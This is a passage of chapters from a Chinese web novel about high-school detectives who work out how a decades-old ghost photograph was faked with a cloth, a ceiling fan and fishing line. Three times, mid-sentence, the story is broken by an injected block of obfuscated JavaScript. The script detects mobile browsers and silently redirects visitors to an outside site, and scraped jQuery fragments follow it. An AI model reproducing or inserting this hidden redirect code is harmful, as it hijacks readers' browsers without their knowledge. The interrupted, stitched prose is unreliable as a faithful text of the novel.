“唔……看上去就很可疑啊……”安逸思严肃地盯着不自在的双夏,突然朝我们仨转过头来。
“嘿!你们观棋亦语要不要来个小热身?
“什么热身?”夏羡霞惊慌地嚷嚷。
“就是推理热身啊!”安逸思把手一拍,满脸兴致勃勃,“推理出小霞买了六分之七杯热可可的真相!”
“有意思!”我也兴奋起来,停了下对苹果派的进攻,“或许……她想多喝一杯,但又怕被别人知道自己贪嘴?”
“应该不是这样吧……”陈橘拨了拨头发,尴尬笑笑,“毕竟夏羡霞贪嘴这个事实,我们都已经心知肚明了……”
“才没有呢!公主殿下!”夏羡霞红着脸狡辩——真不知道她为什么那么喜欢用外号叫人。
“可能……她们在店里买了六杯热可可后,不小心弄脏了一杯,于是又多买了一杯?”艾怡芊给出了更为合理的猜测,“而现在厨房里这杯多出来的,就是脏的那杯?”
“可既然是脏的,不应该倒进杯子里啊?”范晚枫皱眉否定。
“哎呀……都说了没你们想的这么复杂,只是纯粹买多了而已!”夏羡霞强装自若,赶苍蝇般冲我们挥了挥手,“快吃快喝吧,别再胡思乱想了!”
“先别这么急嘛,我还没说我的猜测呢。”谭深放下叉子,悠悠地看了一眼敢怒不敢言的夏羡霞,“我们一共有……十个人,对吧?”
“对啊,怎么了?”我有些不解。
“如果这十个人,减去我们观棋亦语的三个人……”他慢慢往下说,“那就刚好是七个了。”
“那不然呢……等等!”我突然明白过来,“你是说——”
我猛地转向慌张的夏羡霞。
“你买热可可时把我们三个的买漏了?!”
“我猜应该就是这样。”谭深笑着喝了一口热可可,继续说道——
“夏羡霞算漏了我们三个,只买回了七杯热可可。来到栗依雏家后,她和夏烁才发现买少了。很遗憾,此刻再下去买已经来不及了,于是她们就想到拿栗依雏家里的饮料,去代替这三杯买少的热可可。”他朝桌上的苹果汁和可乐瞥了一眼,“由于不知道我们三个的喜好,所以,她们便把苹果汁和可乐给了自己和熟人。”
他扫了一眼夏羡霞与夏烁脸上的尴尬,顿了顿,又继续往下分析。
“可是,栗依雏家里的可乐和苹果汁大概都有限,分别只够倒两杯。而如果只有一个人喝可乐或苹果汁,又会显得太过刻意。于是,她们便又拿走了一杯热可可,放上了两杯可乐和两杯苹果汁——我说的对吗?”
他轻笑着看向不知所措的夏羡霞。
“……一字不差。”夏烁闭上眼睛,把手往额头一捂。
“……我认识的人不多,一不小心就只想到了这六个人嘛……”夏羡霞绞着双手,委屈地辩解道。
“还好你们没把可乐给我们,”艾怡芊无奈地感慨,“我最讨厌喝可乐了。”
19. (2)十年前的“鬼影”
吃完甜点后,我们三个走出了栗依雏家的别墅。而就在这时,谭深的手机突然响了几声。
“是安逸思——怪不得她让我们热身呢,她邀请我们现在去学校破零社,有新委托。”
他念完信息后,把目光从屏幕上移开,望着天空感叹——
“……三天三个委托,难道说我们观棋亦语侦探团的黄金时期要来了?”
可来到破零社后,我发现这黄金时期总不是十全十美的,比如——
地板上残留着一点没擦干净的血迹,差劲的采光使205室似乎要比外界低几度,一股阴森森的气息迎面而来。
属实有点瘆人了。我叹了口气。还挺衬他们超自然事件研究社的。
“所以呢?”谭深看上去也对这里感到不适,“你们把我们再次叫到这见鬼的鬼地方来,又要搞什么鬼?”
……一句话中出现了三个“鬼”字,可见心理阴影很大了。
“跟上次那张灵异照片有关!”课室中央,安逸思眼中正闪烁着兴奋的光芒。
她朝我们走来,递出一张照片——正是她上次说的那张前辈们拍的鬼影照。
“现在,我代表破零·超自然事件研究社,委托你们观棋亦语侦探,暂且以‘这个白影不是鬼’为基础,推理出这张灵异照片的真相!”
“对哦,还有这档子事。”盯着那个模糊的白影,我脖子后面不由得再次生起一丝寒意。
“是的,尽管我们上次拍到的那个白影已经被证实是逃窜的齐海瑷,但这个前辈们拍到的白影究竟是不是真的鬼,我们还是不能确定。所以——”
安逸思雀跃着,冲我们扬了扬那张照片。
“就拜托你们啦!”
“对啊。”夏羡霞叉着腰,一脸严肃,“如果连你们也想不出伪造这个鬼影的方法,那我们就只好相信,这个六人之外的第七者是鬼了。”
“等一下,先别那么快认定我们愿意推理——我们还没谈报酬呢。”又来了,报酬哥,“你们破零社的报酬是什么?”
“唔……报酬……”安逸思捏着下巴,转向角落又在看漫画的陈橘,“小橘,你说该定什么报酬好呢?”
什么啊……原来想都没想过报酬吗?我头一回觉得谭深凡事都先问报酬的做法不无道理。
“我怎么知道嘛?”陈橘把立在面前的漫画书放下,一脸不耐烦,“你当初心血来潮的时候,就不能考虑得稍微完善一点吗?”
“不好意思啦……”安逸思笑眯眯地冲陈橘道歉。
“要不……”范晚枫突然从召灵手册后面抬起头,望向谭深,笑容中透露出一丝难为情——
“我们把那个把柄再用一次?”
……这绅士哥是怎么做到把要挟别人的话说得那么有礼貌的?
“一次就够了吧?!”
谭深马上抗议起来。
“用把柄这个方案大概可行……”安逸思好像没听到谭深的话似的,自顾自地思索着,“但也得考虑一下谭深同学的感受……”
“对嘛对嘛,”谭深忙不迭地附和,“我那时只是犯了一个所有高中生都会犯的错……”
“……毕竟,”安逸思还是一副若有所思的样子,“对方被再三要挟后,有可能会加以报复……”
“……你这是什么考虑啊?”连陈橘也觉得这位科学怪人不可理喻。
“所以,你们几个说的到底是啥把柄啊?”夏羡霞被这三言两语撩起了好奇心,急不可耐地跳到陈橘面前,“快说快说!”
“呃……算了吧算了吧。”陈橘这句话既是对夏羡霞说的,也是在劝说安逸思和范晚枫,“我们还是……另外想一个委托费吧——”
“不用想啦!”
门外传来一个愉悦的声音,将陈橘略带尬意的劝阻打断了。
我回头一看,发现一身白色连衣裙的启幕社社长芥浅正推开门,眉开眼笑地走了进来。而在她身后,还跟着——
“芳老师?”陈橘露出惊讶的表情。
没错,正是同在贝斯被砸案推理现场,被启幕社邀请的那位指导老师——导演芳娟。
“听说你们要推理灵异照片的真相,我很感兴趣——毕竟这也是宝贵的编剧素材嘛。”芳娟微笑着,嘴里还是含着根棒棒糖,“所以,我就跑来凑热闹啦。”
震惊,知名导演亲临高中校园,竟是为了……我已经在脑子里暗自拟好了明天的热搜头条,难道导演都这么有空吗?
“是的,至于报酬嘛……可以由我代付。”芥浅慷慨地解决了我们眼下的难题,“你们……喜欢剧本杀吗?”
她突然抛出了意想不到的问题。
“剧本杀?”我愣了一下,“我虽然没玩过,但也很感兴趣。你们呢?”
我问艾怡芊和谭深。
“我也没玩过,不过听上去确实挺有意思。”谭深回答。他旁边的艾怡芊没有说话,但也轻轻点了点头。
“那就好办了!”芥浅顿时变得兴高采烈,“我亲戚的桌游公司正准备推出一款全新的推理剧本杀。”
“推理剧本杀?”“推理”这两个字的出现,立刻像鱼饵一样勾住了我的兴趣。
“是的!玩家将根据自己拿到的剧本扮演相应的角色,并共同推理案件。推理中的每关键一步,都会影响剧情的走向——是多结局哦!”芥浅特意强调。
“推出这款剧本杀前,我亲戚希望能找人来体验一下。如果你们乐意的话,这八张体验票就是报酬咯,你们可以邀请别人一起来体验!”
喂喂,好像有诱人得不得了的条件出现了啊!
“这么好?比我们之前的报酬高了简直不是一个量级啊!”谭深有点吃惊,“我接受!”
“我也接受!”怀着对剧本杀的强烈期待,我马上夺过照片,在一旁的椅子上即刻开始了研究。
暗沉的教室内,诡异景象依旧。地板上是猩红的六芒星法阵和六张鬼画符,每张鬼画符旁各站着一个学生——前三位蹲下,后三位站着。
在这六人身后,紧闭的黑色窗帘前,是一个模糊的白影,悬在空中,与地面有大约半米的距离。
白影倾斜着,呈斜率大于0的一次函数状(?),就像是一个从左侧快速奔向右侧的人影似的。
“芳老师,你认识这上面的人吗?”
在我身边,传来芥浅的询问声。
“唔……”芳娟凑上前来,低下头,仔细端详着,“他们是当时的破零社成员。那时我确实听说过他们拍到灵异照片的传闻,没想到竟然是真的……”
她又盯着照片看了一会,指了指站在最前面的那个双麻花辫女生。
“这是破零社那时候的社长叶亦凛。”
在芳娟回忆期间,我一直在细细观察着那个疑似幽灵的白影,突然发觉,芥浅定这么高的报酬是有原因的——
我毫无头绪。
“你能看出什么吗?”我小声问身旁刚坐下的谭深。
“当然什么都没看出来。”谭深叹了口气,似乎也说不出个所以然,“没有证据,没有证人,单凭这一张照片进行推理,确实有点困难。再说——”
他的脸色略显难看
“……这里的氛围……也让我很不舒服。”
“切,这就放弃了吗?观棋无语侦探团?”夏羡霞一脸不屑,“你们之前破贝斯被砸案和六分之七热可可案的聪明才智呢?都飞去哪了?”
……“观棋无语侦探团”是什么鬼啊?!
“说不定这照片真就如公主殿下所说,只是P的而已。”夏羡霞摆摆手,继续泼着凉水,“这样就用不着推理了。”
“不,想了半天,我现在不觉得是那样了。”
陈橘翻着召灵仪式手册,淡淡地推翻自己之前的假设。
“他们这本小册子写得很认真,还画了图,设计的召灵仪式也很麻烦。如果只是单纯想吓唬别人,或者和大家炫耀自己见过鬼,P完图后,一般不会在这些地方上费这么多功夫。”
她抬起头,看向还想辩驳的夏羡霞。
“所以,仪式举行者中应该有信以为真的人。而伪造者在动手时,很可能需要骗过照片里的其他人。”
“小橘说的很有道理!”陈橘话音刚落,安
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063884|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逸思就高兴地鼓起掌,“大家继续讨论吧!”
“可是,正如谭同学所说,除了这张照片,我们没有任何证据和证人。”范晚枫叹了口气,皱起两条英气的眉,“这还能怎么讨论啊?”
“那就瞎猜呗!”夏羡霞兴冲冲地提议,竖起食指——
“我倒是又有了一个猜测!”
“是吗?洗耳恭听。”陈橘兴致索然,似乎对此持怀疑态度。
“可能犯人——我就这样称呼吧——使用了干冰。而那一片白影,其实就是干冰升华吸热形成的白色水雾!”
夏羡霞将脑后的头发一撩,得意洋洋地笑起来。
“怎么样?这个猜测不错吧?”
“呵,不错。”
陈橘略带讽刺地称赞。
“简直完美——踩到了不可能区。”
“啊?为什么?”听了这句批判,夏羡霞立刻不悦地跳起来,“明明很有可行性嘛?!”
“确实——很有死人的可行性。”陈橘的表情流露出不屑置辩,“这召灵仪式要求关闭门窗,如果犯人使用干冰,一不小心造成一氧化碳中毒怎么办?鬼还没召唤出来,自己倒先变成鬼了。”
“那……说不定犯人是个中二小鬼,顾不得这些呢?”夏羡霞还是不服气。
“陈橘同学刚刚不是推测出,犯人需要骗过那些举行仪式的人吗?水雾散去需要时间,拍完照后,别的人不可能发现不了那一大片白雾啊?”
我的话语成功让夏羡霞哑口无言了。
“嗯……我也想到了一个!”就在夏羡霞垂头丧气时,安逸思莞尔一笑,加入讨论,“犯人可以借助205的扫帚间!”
“什么意思?”谭深皱了皱眉。
“犯人不一定在这六个人之中嘛,说不定有第七个人呢!而他那时就像齐海瑷一样躲在扫帚间里。”
安逸思指了指课室前端的扫帚间。
“那张照片没有拍到两侧的墙壁,所以这是有可能的!”
她继续往下分析。
“犯人可以趁破零社成员就位,相机还未拍照的那十秒里,把一块白布放在他们身后,再退回到扫帚间,准备钓鱼竿之类的东西,在相机拍照的那一瞬间吊起白布,让相机能拍到一个悬空的白影。最后,犯人迅速带着钓鱼竿和白布从205逃离犯罪现场……”
说完这一大段分析,安逸思轻笑着偏了偏头:“怎么样?”
“不怎么样。”谭深直白地否决,一指那张照片,“这张照片确实没拍到扫帚间,但它拍到了天花板。要是犯人真的如你所说,使用了钓鱼竿,那么这竿子一定会被拍进去的。”
“没错,这是行不通的。”范晚枫也加入反对的队伍,“而且从另一个角度来说,就算犯人使用很短的钓竿,或者干脆只用绳子钓,他也不可能把白布钓得这么高——除非他有超自然的臂力。”
“万一他真有超自然的……”被陈橘用关爱智障的眼神盯着看后,安逸思知趣地收回了异想天开。
“嗯……或许你们都想得太复杂了?”还没等我重新整理好思路,范晚枫礼貌地指出了又一个可能性,“说不定真相很简单呢——就是翻版的贝斯弦被割案。”
……短时间内想出三个方案,这中二的破零·超自然事件研究社还真是人才倍出。
“可能犯人就是像齐海瑷同学一样,穿着白斗篷从这六人身后跑过呢?”范晚枫继续陈述着自己的想法,“只不过换了个方向而已嘛。”
“应该不是这样吧。”我不太认可地一指照片,“照片里的白影悬空着。如果犯人真是跑过去的话,那应该跟齐海瑷的白影一样,紧紧贴着地面才对啊?”
“但犯人也可以跳起来啊!”夏羡霞突然蹦出来辩驳。
“大概不行,”陈橘也提出了反对意见,“跳这么高再落地的声音一定会很大,照片里的的人没理由听到这么大动静后,还注意不到身后的那位白斗篷犯人。”
被否定了两次后,夏羡霞立刻和她身旁范晚枫一样,悻悻地不作声了。
一句话总结——推理了很多,但又好像什么都没推理。
20. (3)推窗风来
“所以……”
把三个猜测都废掉后,谭深摇着头叹气。
“你们说了那么多,没有一个是有用的啊……”
呃……深哥啊,我好像记得……我们才是应该提出猜测的人吧?
“切……有本事你们自己来啊!”果不其然,遭遇了连续挫败的夏羡霞炸毛了,咬牙切齿地向我们发动攻击,“只会一味地否定别人有个鬼用啊?你们到底行不行啊?!”
“……果然是有鬼么?”陈橘苦笑着,“要不还是算了……”
“先不要着急下定论嘛……”出师不利,我闷闷不乐,转头向艾怡芊,“芊,你怎么看……艾怡芊?”
我被眼前的一幕吓了一跳——
只见艾怡芊低垂着头,脸色异常难看。他的双手正死死地摁紧椅沿,指节已然发白,似乎还在微微颤抖。
我这才意识到,自从他进到破零社后,就一句话都没说过。
不至于……怕鬼怕成这样吧?
我正这样担忧地想着,艾怡芊用微弱的声音开口了:
“血腥味……”
他很轻很轻地说。
“……这里有一阵血腥味……”
“血腥味?还有吗?”夏羡霞有些疑惑,低下头使劲嗅了嗅空气,“我怎么没闻到?”
“我就说你们不彻底清理是不行的吧!”陈橘站起身来,脸色有些不悦,“我去拿抹布来再仔细擦一遍。”
“我也来帮忙!”绅士哥范晚枫跟了上去。
正当他们两人离去时,我突然惊觉——
谭深正以前所未有的沉重,盯着艾怡芊那张苍白的脸。
我诧异地看着谭深,后者从椅子上站起来,走到窗前,但目光还是没有离开过艾怡芊。
“……还是先开窗通个风吧。”
谭深低声说着,打开了窗户。
清风从窗外吹来,室内的味道一下子变得清新了许多。伴随着气流的阵阵律动,窗户两侧的帘子轻轻飘扬着,将我有些许烦躁的心情安抚下来。
呼吸着新鲜的空气,我收回乱七八糟的思绪,重新低下头,继续审视起那张照片来。
这时,我发现了一个之前被忽略的细节——
“欸?你们看。”我指着照片中那六人的身后,“他们应该关了窗吧,可这窗帘怎么稍微飘起来了一点?鬼出现时会带着气流吗?”
谭深也俯下身来,认真地看着那飘起的窗帘。
“窗帘稍稍往左飘起,说明这气流是从右往左的。”他抬起头,看了看现实中205的窗户右部,“这气流该不会是从那个地方来的吧?”
他指了指那个齐海瑷曾用来逃跑的扫帚间。
“有可能!”我惊讶地赞同,“或许……那个扫帚间放了风扇之类的东西?”
“没准,”谭深冲我点点头,“那就先假设是风扇吧。”
唔……没想到这场本来毫无头绪的推理竟真有了进展,还真是“推窗风来”。
“哇——”
似乎在回应我的心声,一声轻轻的惊叹响起——是芳娟。
“你们竟然真能从这张照片上推理出东西啊?”她的眼神流露出赞许,“看来……观棋亦语侦探团确实有两把刷子嘛!”
“那是当然啦!”受到鼓励的我立刻热情高涨起来,试图继续精彩推理,“我想这些人——至少是真心相信那个影子是鬼的人,大概不知道风扇的存在,因为……”
我指了指照片中最后面的人——那个扎着及腰双马尾的女学生。
“她的双马尾没有随风飘起,所以风扇的风吹不到她,也吹不到其他学生。毕竟,他们是在教室中央进行的召灵仪式,而扫帚间风扇的风只能吹到教室靠窗的那个位置……”
“……这双马尾女生怎么有点眼熟……”正在擦地板的陈橘朝照片投来一瞥,皱起眉咕哝。
而芳娟不知为何目光游移。
“……如果这个风扇是纳凉用的,那它应该会摆在能吹到学生的地方。”顾不上她们奇怪的反应,我继续往下分析,“可是,它的风根本吹不到这课室里的任何一个人,而且它还被放在了扫帚间这种一般不会被别人看见的地方。所以……”
我抬起头,笃定地定下结论:“这个风扇放在这一定有别的目的——很可能就和伪造鬼影有关!”
“不错,”谭深点点头,“我也这样认为。你们再来看这个白影……”
他指着照片中六人身后的白影。
“……它是模糊的,看起来就像某个正在移动的物体在拍摄中留下的残像,对吧?我们不妨就把它看作是某个爱搞恶作剧的人挂上去的白布,再想象一下风扇的气流——”
像上升的一次函数那样倾斜的鬼影,即刻成了一块受风扇气流影响,被从右往左吹起的白布。
“哇!”想象力丰富的夏羡霞激动地跳起来,“刚刚你们的推理还挺精彩的嘛,连本主角都惊叹不已呢!”
“这家伙……”我无语地看着兴奋的夏羡霞,后者正在拿起那张照片对照,“还觉得自己是主角啊……”
“……咳。”
陈橘轻咳了一声。
“现在你们推理出了鬼影的真面目,对吧?”她伸出手,把照片从蹦蹦跳跳的夏羡霞手中扯回来,“可那个搞恶作剧的人又是怎么避开其他人,把白布挂上去的呢?
“对呀?我也很好奇这一点。”范晚枫也附和道,“总不可能……六人都参与了伪造吧?”
“呃……这个嘛……”我又重新低头看着照片,再次苦思冥想起来,“或许……”
我指了指照片天花板上的风扇:“它被挂在了风扇上?”
旧校舍课室里的风扇,是那种老旧的长扇叶吊扇。
“白布可能被挂在了它其中一个扇叶上,等到要拍照的时候,犯人再偷偷把它……放下来?”
“但犯人应该够不着挂起来的白布吧?”谭深立刻就否定了我的说法,“如果这人能够得着,那么,其他人应该也能看见这白布。”
“那、那他也可以通过钓鱼线之类东西,把白布拽下来……吧。”我不太确定地说。
“可是……”范晚枫把抹布放进一旁的水桶中,直起身来,“那个去够钓鱼线的动作应该会很明显吧?”
“那还能怎么办……”我喃喃道,埋头于照片中,只感到一阵心烦意乱。
难道……就要这样功亏一篑了吗?
“……社长。”
“怎么了?”
“嗯?”
听到这话,谭深和安逸思先后转头,看向出声的艾怡芊。
“不,我是在说这张照片里的破零社社长。”艾怡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063885|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芊似乎缓过来了,脸色好了很多。他正指着照片里最前面的人——那个蹲下的双麻花辫女生。
“你是说叶亦凛吗?”芳娟凑过头来,“她怎么了?”
“她结印的动作有点奇怪……”艾怡芊用指尖轻叩着叶亦凛的双手,“感觉……她好像在攥着什么东西。”
“确实……”我也注意到了——不同于其他人,叶亦凛结印的左手手指似乎靠得更紧一些,“难道她真抓着钓鱼线之类的东西——也不对啊……”
“对。”
艾怡芊肯定的回答令我意外。
“但这钓鱼线系着的不是白布的下端,而是白布的上端,而且钓鱼线会经过扇叶。简单来说,就是……”
他迟疑了一会,似乎正在寻找合适的解释方法。
“长扇叶是定滑轮,白布是被拉起的物体,而叶亦凛就是那个施力的人。”
一片惊异的沉默。
“啊?什么?”率先发话的,是刚升初二的夏羡霞,“什么定滑轮?”
“唉……”陈橘无奈地放下抹布,“定滑轮就是……”
她开始向夏羡霞传授初二下物理的滑轮知识。
“叶亦凛一直拽着那条线,让白布保持在最上方。”艾怡芊继续着他的推理,“当时,其他人都在忙着为召灵仪式做准备,所以他们应该都不会抬头看到吊扇上挂着的白布,而系着白布的线也会因光线昏暗,难以被发现……”
“怪不得这召灵仪式要求拉上窗帘呢。”范晚枫若有所思地点头。
“……等到差不多能开始仪式了,叶亦凛便趁别人不注意,打开扫帚间的吊扇,接着招呼大家站到指定位置。”艾怡芊接着用平稳的语气,还原着这位叶亦凛学姐的作案过程,“她在调试相机时,顺便放松手中的线,让白布下降到合适的位置。
“之后,叶亦凛再来到自己的位置,等待相机捕捉到吹动的白布。一拍完照,她便迅速拉紧细线使白布升回最高处。最后,她再趁大家看照片或清理教室的时候,放开细线,收回白布。这就是照片中六个人像之外,第七个鬼像的真相——应该是这样吧,我猜……”
看着那么多张目瞪口呆的面孔,艾怡芊不太确定地补上了最后一句。
“……我想,”谭深缓缓打破沉默,“如果叶亦凛真的使用了这个方法,应该还是会留下证据的。”
他仰起脸,朝天花板的吊扇指了指。
“为了保证线足够细,并且便于牵扯,她很可能会使用兼备低可见性和高耐磨性的钓鱼线。而那么细的钓鱼线在扇叶上反复摩擦,肯定会有划痕,只要检查一下就行了。”
“真的吗?”听了谭深的分析,安逸思立刻站起身来,搬起身后的那张椅子,叠到了一张桌子上。
“喂……”陈橘皱起眉头,看着安逸思将叠了椅子的桌子推向吊扇底下,“你……你这是要干什么?”
“别担心,小橘。”安逸思踩上桌子,冲陈橘回头一笑,“我要寻找证据!”
“啧……”陈橘快步走到那张桌子旁边,脸上同时流露出担忧与无奈,“你可别一不小心摔下来!”
“不会的啦!”安逸思爬上椅子,探头向吊扇扇叶望去。
透过扇叶间的空隙,能看到她那双猫一般的眼睛正缓缓睁大——
“有划痕,推理是正确的!”
21. (4)残象与真相
“是的。”
芳娟将嘴里的棒棒糖棍拿出,轻轻一笑。
“你们完全正确哦~”
“芳老师……怎么这么肯定?”芥浅疑惑地望向芳娟。
“啊,因为……”不知为何,芳娟的笑容中透露出一丝得意。
“因为这就是十年前,由我策划方案,叶亦凛负责执行的恶作剧啊。”
所有人都大吃一惊。
“什么?”陈橘不敢相信地瞪圆了眼睛,“是您干的?!”
“没错,就是我俩。”芳娟坦然地晃着手中的棒棒糖棍,“我就是那个隐藏在照片六人之外的第七个幕后策划者——不过嘛……”
她把那张照片从桌上拿起,向我们指了指那位正嬉皮笑脸的双麻花辫女孩。
“提议搞恶作剧的始作俑者,是这个叫叶亦凛的家伙……”
说着,芳娟的眼睛向右上方瞥去,开始回忆往事。
“起初,我们真的成功骗到了所有人——不过当然啦,叶亦凛后来还是跟照片里的其他五人说明了真相。”她轻笑着耸了耸肩,“可尽管如此,他们也还是把照片和召灵方法留在了这,想要继续吓唬以后的学生。”
“……效果显著,”陈橘苦笑着扶额,“夏羡霞鬼哭狼嚎的。”
“我才没有!”
“其实,除了这两次,我这十年来时不时会回到这里,想看看之后的学生能不能猜出我们的伪造手法。”芳娟选择性无视了夏羡霞的吵吵嚷嚷,“但很遗憾,这么多年过去了,我竟然没有见到任何一个人能推理出这六分之七的残像的真相——直到现在。”
说到这里,她的话语带上了一丝欣慰。
……怪不得这位知名导演要为了我们的三脚猫推理,专门跑过来一趟呢,原来是有情怀在这——虽说是恶作剧情怀。
“所以……”陈橘试探般地开口,“这张照片里的人,您都认识?”
“是的。”芳娟点了点头。
“那么……最后面那个双马尾女孩,是慕灼桃吗?”
此言一出,轮到芳娟瞪圆了眼睛。
“这你都能认出来啊……”她略带佩服地感叹道。
“呃……因为我比较擅长认人脸。”陈橘解释,“而且她的样貌也没怎么变过……”
“……慕灼桃?”虽然不知道她们在说什么,但我隐隐约约记得,自己似乎在哪见过这个名字,“好耳熟啊,是谁?”
“我好像也对这个名字有点印象……”艾怡芊皱眉回忆着。
“是我们学校的老师吗?”谭深提出猜测。
芳娟死死地盯着一脸困惑的我们三个,脸上的表情更加震惊了。
……气氛怎么突然变得那么古怪?
“呃……”绅士哥范晚枫似乎对打破僵局特别在行,“是那位大明星吧?”
这下,我想起来我是在哪见过这个名字的了——各种大屏幕上的广告。
“竟然三个人都不知道……”芳娟看上去有点哭笑不得,“你们……”
她突然呆住了。
“欸……”芳娟眼神涣散,开始自言自语起来,“这样的话……好像可行……”
在我们困惑的目光中,她猛地站起身来,一把抓起旁边桌子上的挎包。
“我先走了,各位有缘再见!”
扔下这句话,芳娟头也不回地冲出了205。
“这样看来……”望着突然消失在窗户边缘的芳娟,芥浅接过了话头,转向面面相觑的我们三个,“你们侦探团确实还挺出色呢,简直……”
话语停顿间,她微微一笑。
“出乎我的预料。”
吐出这句话的同时,芥浅轻轻眯起眼睛。
“呃……”我搓捻着发丝,莫名因芥浅的目光感到不自在,“谢谢夸奖。”
“我估计,以后无论再遇到什么案件,你们应该都能很快侦破吧?”芥浅继续称赞着。
“但愿如此!”
夏羡霞窜出来抢过话头,咧嘴一笑,冲我们一指——
“本主角大人看好你们观棋乱语团哦!”
……“观棋乱语团”又是什么鬼啊!
虽然出了些岔子,但我们的推理好歹还算是完美地结束了。大家纷纷开始道别,艾怡芊也和谭深先后走出了门。
而我则仍停在原地,把目光投向了安逸思。
安逸思正埋着头,把小册子和照片自此收回匣子。
“怎么了,有什么事吗?”见我走过来,她微笑着抬起脸,“杜苓瑛同学?”
“安逸思同学……”
我顿了一下,咽了咽唾沫,下定决心——
“你知道……‘五爷赐福’里的‘五爷’,是哪一位神仙吗?”
“五爷?”
安逸思微微瞪大眼睛,有些诧异。
“你是说……东海龙王第五子吗?”
“欸?”她竟然真的对中国民俗有研究啊,“可能是吧……你能展开说说吗?”
“关于五爷的身份,还有另一种说法是文殊菩萨化身。”安逸思托着下巴思索,“不过,无论是在哪种传说中,人们都会向他求财。”
“那么……”我考虑了一下要问的问题,“五爷信仰的分布情况如何呢?”
“唔……五爷的核心信仰地区,是山西省一带。当地的五台山就是该信仰的发源地,山上还有一座五爷庙——”
“五爷庙里可以求平安符吗?”
“可以,”安逸思似乎对我的急切追问感到惊讶,“五爷平安符一般都是从那里求来的。”
“这样啊……”我咀嚼着刚刚得到的信息,“谢谢你,我明白了。”
我留下满脸迷惑的安逸思,立刻冲出了205。
沿着旧校舍外的小路往前走,经过游泳馆和体育馆,就来到了学校图书馆。
虽然在这一天,图书馆的自动玻璃门和窗户都紧锁着,但我知道,其中的一扇窗可以被推开——我之前为了得到超出借书上限数量的书,偷偷把这扇窗的窗栓打开了。同时,我也把图书馆附近的防洪沙袋提来了几个。
这样一来,只要绕到图书馆后面的杂草地,踩上沙袋,再推开窗纵身一跃,就能轻轻松松溜进馆内。
踩上窗框,再落到图书馆里的地面后,我开始在昏暗中行走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063886|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
K区……I区……G区……我数着身旁的书架,来到我那天撞见艾怡芊的位置。
面前的书架,刚好是G区的第一个书架,里面的文学书籍紧紧挨着F区的最后一个书架。
我撑住膝盖,俯下身,注视着F区书架里的书——
《村里那些事儿》《龙城记忆·中原西部地区古村落的调查与研究》《礼失求诸野》……
我深深吸一口气,闭上眼睛——
谭深那张异常沉重的脸再一次浮现。
顺着这个时间点往前,满是疑点的一幕幕于我眼前重现——
第二、艾怡芊,你为什么会对那仅存一丝的血腥味那么敏感?
你是在……恐惧着什么吗?
第三、还有,你真的是因为怕鬼才带的平安符吗?如果真是这样,那为什么在初中的三年里,我完完全全没有注意到你有这个特点?
你后来那些怕鬼的表现……都是装出来的吗?
第四、平安符上刻着“五爷赐福”,说明它是五爷护身符,可是……五爷的信仰地区和你一点关系都没有吧?
我记得你以前不是提过,你是从云南来的吗?
第五、谭深第一次见你时,是不是盯着你看多了一会?面对你的疑问,他在回答的时候捋了捋头发,而后来这个动作就再次出现时,就到了他和我解释自己姐姐想了解你的时候,对吧?
这是……他在说谎时的特征?
第六、那天在图书馆里,你停在G区与F区的交界处,真的是在选奎因的书吗?
你见到我后缩回去的那只手,是想伸向哪本书呢?
我这六片记忆残象之外,是否还存在着隐藏真相的第七片残象,深埋于你让人看不透的脑海之中?
艾怡芊,你到底对我隐瞒了什么?
而你,谭深,你又是否比我多知道些什么?
我独自一人站在图书馆的黑暗中,被前所未有的思潮侵袭着。
夏日已是命悬一线,秋风快要来了,而接下来就是——
寒冬?
莫名的不安如冷风般裹挟了我。
莫非……谭深那天并不是第一次见艾怡芊?难道他……
是轮回多次来救艾怡芊的?
?等等,杜苓瑛你在想什么乱七八糟的?
我直起身,把左腕上的手表在眼前晃了晃,让自己冷静下来。
大概是那张该死的灵异照片把我的思绪扯向玄幻,导致我过度解读了。估计谭深之前就偶然在学校里撞见过艾怡芊,而平安符则是艾怡芊亲戚求来的,艾怡芊也由此对山西民俗产生了兴趣。
什么嘛,这不还有很多合理的解释吗?果然只是我想太多了。
这样想着,我不禁嘲笑起我之前的忧虑,轻快地离开了书架。
……一定就只是这样而已啦。
(《六分之七的残像》完)
(下章预告:紧凑推理之外的闲暇小游戏——朝闻社发起中秋连环解谜大挑战?!灯谜、字谜……环环相扣,层出不穷。只是玩游戏什么的,绝对不会出现需要认真推理的意外——如果不出意外的话。)
22. (1)让挑战开幕吧
早晨,阳光透过还未彻底散去的雾气洒下,漾起米色的涟漪,使周围的空气都变得迷迷糊糊。
“好——好——好——困!”
不知道是第几次,我又打了个大大的哈欠。
